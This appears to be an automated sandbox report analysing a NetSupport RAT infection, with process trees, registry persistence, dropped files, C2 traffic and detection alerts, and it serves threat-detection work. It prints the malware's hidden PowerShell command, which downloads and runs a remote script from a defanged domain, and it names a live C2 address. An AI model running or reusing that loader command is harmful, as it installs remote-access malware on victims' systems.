| download: | /Xg6fkCIC.txt |
| Full analysis: | https://app.any.run/tasks/fb70be20-c61f-4396-b526-e0f2d1ce201e |
| Verdict: | Malicious activity |
| Threats: | NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software. |
| Analysis date: | May 18, 2025, 04:37:10 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (64853), with CRLF line terminators |
| MD5: | 93D04ED0ACFADE45D4A3B0B8853030FF |
| SHA1: | 573F488F0AC1085B499A74CB03CE15B12308920B |
| SHA256: | FDCD9BD20FFDC9DC3DF2D28E9C4420BC5042E2C3FDE3005E99E7AF263A869757 |
| SSDEEP: | 49152:NkyesKW1qGk5XkWOopXGStZy/g5B9Spb/WKjuDTeV/UnHci823IStHyB+OtmNUYV:Y |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 672)
NETSUPPORT has been detected (SURICATA)
- client32.exe (PID: 728)
Connects to the CnC server
- client32.exe (PID: 728)
NETSUPPORT mutex has been found
- client32.exe (PID: 728)
Modifies registry (POWERSHELL)
- powershell.exe (PID: 672)
SUSPICIOUS
Executes script without checking the security policy
- powershell.exe (PID: 672)
Writes data into a file (POWERSHELL)
- powershell.exe (PID: 672)
Drop NetSupport executable file
- powershell.exe (PID: 672)
Creates a directory (POWERSHELL)
- powershell.exe (PID: 672)
Starts a new process with hidden mode (POWERSHELL)
- powershell.exe (PID: 672)
Process drops legitimate windows executable
- powershell.exe (PID: 672)
The process drops C-runtime libraries
- powershell.exe (PID: 672)
Executable content was dropped or overwritten
- powershell.exe (PID: 672)
Uses ATTRIB.EXE to modify file attributes
- powershell.exe (PID: 672)
Connects to the server without a host name
- client32.exe (PID: 728)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 672)
INFO
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 672)
Checks proxy server information
- powershell.exe (PID: 672)
Disables trace logs
- powershell.exe (PID: 672)
Checks supported languages
- client32.exe (PID: 728)
Reads the computer name
- client32.exe (PID: 728)
The sample compiled with english language support
- powershell.exe (PID: 672)
The executable file from the user directory is run by the Powershell process
- client32.exe (PID: 728)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 672)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
131
Monitored processes
6
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 672 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C "$u='hxxps://troubleinternetverif.com/Xg6fkCIC.txt'.Replace('xx','tt');[ScriptBlock]::Create((Invoke-RestMethod $u)).Invoke()" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 728 | "C:\Users\admin\AppData\Roaming\LyhIi3\client32.exe" | C:\Users\admin\AppData\Roaming\LyhIi3\client32.exe | powershell.exe | ||||||||||||
User: admin Company: NetSupport Ltd Integrity Level: MEDIUM Description: NetSupport Client Application Version: V14.10 Modules
| |||||||||||||||
| 1764 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3784 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6404 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6488 | "C:\WINDOWS\system32\attrib.exe" +h C:\Users\admin\AppData\Roaming\LyhIi3\05E7rj5x.lnk | C:\Windows\System32\attrib.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
7 668
Read events
7 665
Write events
3
Delete events
0
Modification events
| (PID) Process: | (672) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (672) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C000000000000046AC0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (672) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | 8M3Z4IZn |
Value: C:\Users\admin\AppData\Roaming\LyhIi3\05E7rj5x.lnk | |||
Executable files
32
Suspicious files
6
Text files
7
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:49982D0B61C281E233C7C6DC009A6474 | SHA256:1447553E8B723036E42EE3CCF0EF88304DB9B5B75025FEBA37F411F92F6719C3 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\getuname.dll | executable | |
MD5:91C68038BFC064EA8FB6D432ACD38EE0 | SHA256:68DE057C4175D4C94AFA2ACB2ABC1A9CCAC04A3CEB8E84C33F7F414BB8B0EEB6 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10c073.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\HTCTL32.DLL | executable | |
MD5:3EED18B47412D3F91A394AE880B56ED2 | SHA256:13A17F2AD9288AAC8941D895251604BEB9524FA3C65C781197841EE15480A13F | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\KBDTAM99.DLL | executable | |
MD5:CCC736781CF4A49F42CD07C703B3A18B | SHA256:000C4B5B50966634DF58078511794F83690D693FCCF2ACA5C970C20981B29556 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\comcat.dll | executable | |
MD5:835FF05A3F5E16E0FE41E515EA398BD4 | SHA256:8DCFB1E6AA965DF4BD4C0551D03BDFD6472C80219ADA4671910958688FBB4AB6 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\libEGL.dll | executable | |
MD5:4291D4BA9EDBCF567FB9F2397C168431 | SHA256:FD626C18E2C6AE437D288DFB5A9F4039BD5A3A68D01183A18CC25FB37CA48CD7 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\libwinpthread-1.dll | executable | |
MD5:EC5D913AE28217EDEE26445E1C151AA5 | SHA256:1328D7628EC5AEEB2ED7489CC1A3B11A242018D30E073E530356F0C1756505CA | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\libssp-0.dll | executable | |
MD5:D37B46AAA0276D199D13DDBC06B53FB6 | SHA256:E1B206A63410BDB6D91A7A61941E7329B3309D93D43B4A1D35DF890713C0A1F1 | |||
| 672 | powershell.exe | C:\Users\admin\AppData\Roaming\LyhIi3\ifsutilx.dll | executable | |
MD5:27A7213091CDA31E84967BEAD4D29BD1 | SHA256:42214053995B6188B2E20935CA8C92AF77639F0D5541A132920A5CBA2CFCBDE6 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
22
DNS requests
16
Threats
16
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.19.11.120:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.19.11.120:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
728 | client32.exe | POST | 200 | 83.222.190.174:443 | http://83.222.190.174/fakeurl.htm | unknown | — | — | malicious |
— | — | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4200 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
728 | client32.exe | POST | — | 83.222.190.174:443 | http://83.222.190.174/fakeurl.htm | unknown | — | — | malicious |
728 | client32.exe | POST | 200 | 83.222.190.174:443 | http://83.222.190.174/fakeurl.htm | unknown | — | — | malicious |
4200 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.19.11.120:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
— | — | 2.19.11.120:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.219.150.101:80 | www.microsoft.com | AKAMAI-AS | CL | whitelisted |
— | — | 23.219.150.101:80 | www.microsoft.com | AKAMAI-AS | CL | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.160.132:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
troubleinternetverif.com |
| unknown |
thanksbadbeer.com |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
728 | client32.exe | Potentially Bad Traffic | ET INFO HTTP traffic on port 443 (POST) |
728 | client32.exe | Potentially Bad Traffic | ET INFO HTTP traffic on port 443 (POST) |
728 | client32.exe | A Network Trojan was detected | REMOTE [ANY.RUN] NetSupport RAT |
728 | client32.exe | A Network Trojan was detected | REMOTE [ANY.RUN] NetSupport RAT |
728 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Checkin |
728 | client32.exe | Misc Attack | ET DROP Dshield Block Listed Source group 1 |
728 | client32.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 9 |
728 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Checkin |
728 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Response |
728 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Response |